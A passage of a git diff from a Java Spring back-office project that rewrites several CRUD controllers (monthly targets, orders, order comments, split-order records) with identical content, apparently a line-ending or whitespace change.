BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpIntegralDetailBo bo) { + return toAjax(tpIntegralDetailService.insertByBo(bo)); + } + + /** + * 修改积分明细 + */ + @SaCheckPermission("work:integralDetail:edit") + @Log(title = "积分明细", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpIntegralDetailBo bo) { + return toAjax(tpIntegralDetailService.updateByBo(bo)); + } + + /** + * 删除积分明细 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:integralDetail:remove") + @Log(title = "积分明细", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpIntegralDetailService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpMonthController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpMonthController.java index 7341e64..1d1b037 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpMonthController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpMonthController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpMonthBo; -import org.dromara.work.domain.vo.TpMonthVo; -import org.dromara.work.service.ITpMonthService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 月目标 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/month") -public class TpMonthController extends BaseController { - - private final ITpMonthService tpMonthService; - - /** - * 查询月目标列表 - */ - @SaCheckPermission("work:month:list") - @GetMapping("/list") - public TableDataInfo list(TpMonthBo bo, PageQuery pageQuery) { - return tpMonthService.queryPageList(bo, pageQuery); - } - - /** - * 导出月目标列表 - */ - @SaCheckPermission("work:month:export") - @Log(title = "月目标", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpMonthBo bo, HttpServletResponse response) { - List list = tpMonthService.queryList(bo); - ExcelUtil.exportExcel(list, "月目标", TpMonthVo.class, response); - } - - /** - * 获取月目标详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:month:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpMonthService.queryById(id)); - } - - /** - * 新增月目标 - */ - @SaCheckPermission("work:month:add") - @Log(title = "月目标", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpMonthBo bo) { - return toAjax(tpMonthService.insertByBo(bo)); - } - - /** - * 修改月目标 - */ - @SaCheckPermission("work:month:edit") - @Log(title = "月目标", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpMonthBo bo) { - return toAjax(tpMonthService.updateByBo(bo)); - } - - /** - * 删除月目标 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:month:remove") - @Log(title = "月目标", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpMonthService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpMonthBo; +import org.dromara.work.domain.vo.TpMonthVo; +import org.dromara.work.service.ITpMonthService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 月目标 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/month") +public class TpMonthController extends BaseController { + + private final ITpMonthService tpMonthService; + + /** + * 查询月目标列表 + */ + @SaCheckPermission("work:month:list") + @GetMapping("/list") + public TableDataInfo list(TpMonthBo bo, PageQuery pageQuery) { + return tpMonthService.queryPageList(bo, pageQuery); + } + + /** + * 导出月目标列表 + */ + @SaCheckPermission("work:month:export") + @Log(title = "月目标", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpMonthBo bo, HttpServletResponse response) { + List list = tpMonthService.queryList(bo); + ExcelUtil.exportExcel(list, "月目标", TpMonthVo.class, response); + } + + /** + * 获取月目标详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:month:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpMonthService.queryById(id)); + } + + /** + * 新增月目标 + */ + @SaCheckPermission("work:month:add") + @Log(title = "月目标", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpMonthBo bo) { + return toAjax(tpMonthService.insertByBo(bo)); + } + + /** + * 修改月目标 + */ + @SaCheckPermission("work:month:edit") + @Log(title = "月目标", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpMonthBo bo) { + return toAjax(tpMonthService.updateByBo(bo)); + } + + /** + * 删除月目标 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:month:remove") + @Log(title = "月目标", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpMonthService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderBigController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderBigController.java index 753ba80..d9b69e1 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderBigController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderBigController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderBigBo; -import org.dromara.work.domain.vo.TpOrderBigVo; -import org.dromara.work.service.ITpOrderBigService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 订单大图 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/orderBig") -public class TpOrderBigController extends BaseController { - - private final ITpOrderBigService tpOrderBigService; - - /** - * 查询订单大图列表 - */ - @SaCheckPermission("work:orderBig:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderBigBo bo, PageQuery pageQuery) { - return tpOrderBigService.queryPageList(bo, pageQuery); - } - - /** - * 导出订单大图列表 - */ - @SaCheckPermission("work:orderBig:export") - @Log(title = "订单大图", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderBigBo bo, HttpServletResponse response) { - List list = tpOrderBigService.queryList(bo); - ExcelUtil.exportExcel(list, "订单大图", TpOrderBigVo.class, response); - } - - /** - * 获取订单大图详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:orderBig:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderBigService.queryById(id)); - } - - /** - * 新增订单大图 - */ - @SaCheckPermission("work:orderBig:add") - @Log(title = "订单大图", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderBigBo bo) { - return toAjax(tpOrderBigService.insertByBo(bo)); - } - - /** - * 修改订单大图 - */ - @SaCheckPermission("work:orderBig:edit") - @Log(title = "订单大图", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBigBo bo) { - return toAjax(tpOrderBigService.updateByBo(bo)); - } - - /** - * 删除订单大图 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:orderBig:remove") - @Log(title = "订单大图", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderBigService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderBigBo; +import org.dromara.work.domain.vo.TpOrderBigVo; +import org.dromara.work.service.ITpOrderBigService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 订单大图 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/orderBig") +public class TpOrderBigController extends BaseController { + + private final ITpOrderBigService tpOrderBigService; + + /** + * 查询订单大图列表 + */ + @SaCheckPermission("work:orderBig:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderBigBo bo, PageQuery pageQuery) { + return tpOrderBigService.queryPageList(bo, pageQuery); + } + + /** + * 导出订单大图列表 + */ + @SaCheckPermission("work:orderBig:export") + @Log(title = "订单大图", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderBigBo bo, HttpServletResponse response) { + List list = tpOrderBigService.queryList(bo); + ExcelUtil.exportExcel(list, "订单大图", TpOrderBigVo.class, response); + } + + /** + * 获取订单大图详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:orderBig:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderBigService.queryById(id)); + } + + /** + * 新增订单大图 + */ + @SaCheckPermission("work:orderBig:add") + @Log(title = "订单大图", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderBigBo bo) { + return toAjax(tpOrderBigService.insertByBo(bo)); + } + + /** + * 修改订单大图 + */ + @SaCheckPermission("work:orderBig:edit") + @Log(title = "订单大图", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBigBo bo) { + return toAjax(tpOrderBigService.updateByBo(bo)); + } + + /** + * 删除订单大图 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:orderBig:remove") + @Log(title = "订单大图", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderBigService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCdController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCdController.java index 90b4786..b0eda73 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCdController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCdController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderCdBo; -import org.dromara.work.domain.vo.TpOrderCdVo; -import org.dromara.work.service.ITpOrderCdService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 拆单记录 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/orderCd") -public class TpOrderCdController extends BaseController { - - private final ITpOrderCdService tpOrderCdService; - - /** - * 查询拆单记录列表 - */ - @SaCheckPermission("work:orderCd:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderCdBo bo, PageQuery pageQuery) { - return tpOrderCdService.queryPageList(bo, pageQuery); - } - - /** - * 导出拆单记录列表 - */ - @SaCheckPermission("work:orderCd:export") - @Log(title = "拆单记录", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderCdBo bo, HttpServletResponse response) { - List list = tpOrderCdService.queryList(bo); - ExcelUtil.exportExcel(list, "拆单记录", TpOrderCdVo.class, response); - } - - /** - * 获取拆单记录详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:orderCd:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderCdService.queryById(id)); - } - - /** - * 新增拆单记录 - */ - @SaCheckPermission("work:orderCd:add") - @Log(title = "拆单记录", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderCdBo bo) { - return toAjax(tpOrderCdService.insertByBo(bo)); - } - - /** - * 修改拆单记录 - */ - @SaCheckPermission("work:orderCd:edit") - @Log(title = "拆单记录", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderCdBo bo) { - return toAjax(tpOrderCdService.updateByBo(bo)); - } - - /** - * 删除拆单记录 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:orderCd:remove") - @Log(title = "拆单记录", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderCdService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderCdBo; +import org.dromara.work.domain.vo.TpOrderCdVo; +import org.dromara.work.service.ITpOrderCdService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 拆单记录 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/orderCd") +public class TpOrderCdController extends BaseController { + + private final ITpOrderCdService tpOrderCdService; + + /** + * 查询拆单记录列表 + */ + @SaCheckPermission("work:orderCd:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderCdBo bo, PageQuery pageQuery) { + return tpOrderCdService.queryPageList(bo, pageQuery); + } + + /** + * 导出拆单记录列表 + */ + @SaCheckPermission("work:orderCd:export") + @Log(title = "拆单记录", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderCdBo bo, HttpServletResponse response) { + List list = tpOrderCdService.queryList(bo); + ExcelUtil.exportExcel(list, "拆单记录", TpOrderCdVo.class, response); + } + + /** + * 获取拆单记录详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:orderCd:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderCdService.queryById(id)); + } + + /** + * 新增拆单记录 + */ + @SaCheckPermission("work:orderCd:add") + @Log(title = "拆单记录", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderCdBo bo) { + return toAjax(tpOrderCdService.insertByBo(bo)); + } + + /** + * 修改拆单记录 + */ + @SaCheckPermission("work:orderCd:edit") + @Log(title = "拆单记录", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderCdBo bo) { + return toAjax(tpOrderCdService.updateByBo(bo)); + } + + /** + * 删除拆单记录 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:orderCd:remove") + @Log(title = "拆单记录", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderCdService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCommentController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCommentController.java index 70adee8..e64c2f4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCommentController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderCommentController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderCommentBo; -import org.dromara.work.domain.vo.TpOrderCommentVo; -import org.dromara.work.service.ITpOrderCommentService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 订单评论 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/orderComment") -public class TpOrderCommentController extends BaseController { - - private final ITpOrderCommentService tpOrderCommentService; - - /** - * 查询订单评论列表 - */ - @SaCheckPermission("work:orderComment:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderCommentBo bo, PageQuery pageQuery) { - return tpOrderCommentService.queryPageList(bo, pageQuery); - } - - /** - * 导出订单评论列表 - */ - @SaCheckPermission("work:orderComment:export") - @Log(title = "订单评论", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderCommentBo bo, HttpServletResponse response) { - List list = tpOrderCommentService.queryList(bo); - ExcelUtil.exportExcel(list, "订单评论", TpOrderCommentVo.class, response); - } - - /** - * 获取订单评论详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:orderComment:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderCommentService.queryById(id)); - } - - /** - * 新增订单评论 - */ - @SaCheckPermission("work:orderComment:add") - @Log(title = "订单评论", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderCommentBo bo) { - return toAjax(tpOrderCommentService.insertByBo(bo)); - } - - /** - * 修改订单评论 - */ - @SaCheckPermission("work:orderComment:edit") - @Log(title = "订单评论", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderCommentBo bo) { - return toAjax(tpOrderCommentService.updateByBo(bo)); - } - - /** - * 删除订单评论 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:orderComment:remove") - @Log(title = "订单评论", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderCommentService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderCommentBo; +import org.dromara.work.domain.vo.TpOrderCommentVo; +import org.dromara.work.service.ITpOrderCommentService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 订单评论 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/orderComment") +public class TpOrderCommentController extends BaseController { + + private final ITpOrderCommentService tpOrderCommentService; + + /** + * 查询订单评论列表 + */ + @SaCheckPermission("work:orderComment:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderCommentBo bo, PageQuery pageQuery) { + return tpOrderCommentService.queryPageList(bo, pageQuery); + } + + /** + * 导出订单评论列表 + */ + @SaCheckPermission("work:orderComment:export") + @Log(title = "订单评论", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderCommentBo bo, HttpServletResponse response) { + List list = tpOrderCommentService.queryList(bo); + ExcelUtil.exportExcel(list, "订单评论", TpOrderCommentVo.class, response); + } + + /** + * 获取订单评论详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:orderComment:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderCommentService.queryById(id)); + } + + /** + * 新增订单评论 + */ + @SaCheckPermission("work:orderComment:add") + @Log(title = "订单评论", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderCommentBo bo) { + return toAjax(tpOrderCommentService.insertByBo(bo)); + } + + /** + * 修改订单评论 + */ + @SaCheckPermission("work:orderComment:edit") + @Log(title = "订单评论", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderCommentBo bo) { + return toAjax(tpOrderCommentService.updateByBo(bo)); + } + + /** + * 删除订单评论 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:orderComment:remove") + @Log(title = "订单评论", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderCommentService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderController.java index 29ff5db..099c33c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderController.java @@ -1,128 +1,128 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderBo; -import org.dromara.work.domain.vo.TpOrderVo; -import org.dromara.work.service.ITpOrderService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; -import java.util.concurrent.TimeUnit; - -/** - * 订单回收站 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/order") -public class TpOrderController extends BaseController { - - private final ITpOrderService tpOrderService; - - /** - * 查询订单管理列表 - */ - @SaCheckPermission("work:order:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderBo bo, PageQuery pageQuery) { - return tpOrderService.queryPageList(bo, pageQuery); - } - - /** - * 回收站订单导出 - */ - @SaCheckPermission("work:order:export") - @Log(title = "回收站订单导出", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderBo bo, HttpServletResponse response) { - List list = tpOrderService.queryList(bo); - ExcelUtil.exportExcel(list, "回收站订单导出", TpOrderVo.class, response); - } - - /** - * 扣除违约金 - */ - @SaCheckPermission("work:order:breach") - @Log(title = "扣除违约金", businessType = BusinessType.UPDATE) - @PutMapping("/breach") - public R breach(@RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.breach(bo)); - } - - /** - * 满意度接口 - */ - @SaCheckPermission("work:order:satisfied") - @Log(title = "满意度接口", businessType = BusinessType.UPDATE) - @PutMapping("/satisfied") - public R satisfied(@RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.satisfied(bo)); - } - - - /** - * 获取订单管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:order:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderService.queryById(id)); - } - - /** - * 新增订单管理 - */ - @SaCheckPermission("work:order:add") - @Log(title = "订单管理", businessType = BusinessType.INSERT) - @RepeatSubmit(interval = 3,timeUnit = TimeUnit.SECONDS,message = "不允许重复提交") - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.insertByBo(bo)); - } - - /** - * 修改订单管理 - */ - @SaCheckPermission("work:order:edit") - @Log(title = "订单管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.updateByBo(bo)); - } - - /** - * 删除订单管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:order:remove") - @Log(title = "订单管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import 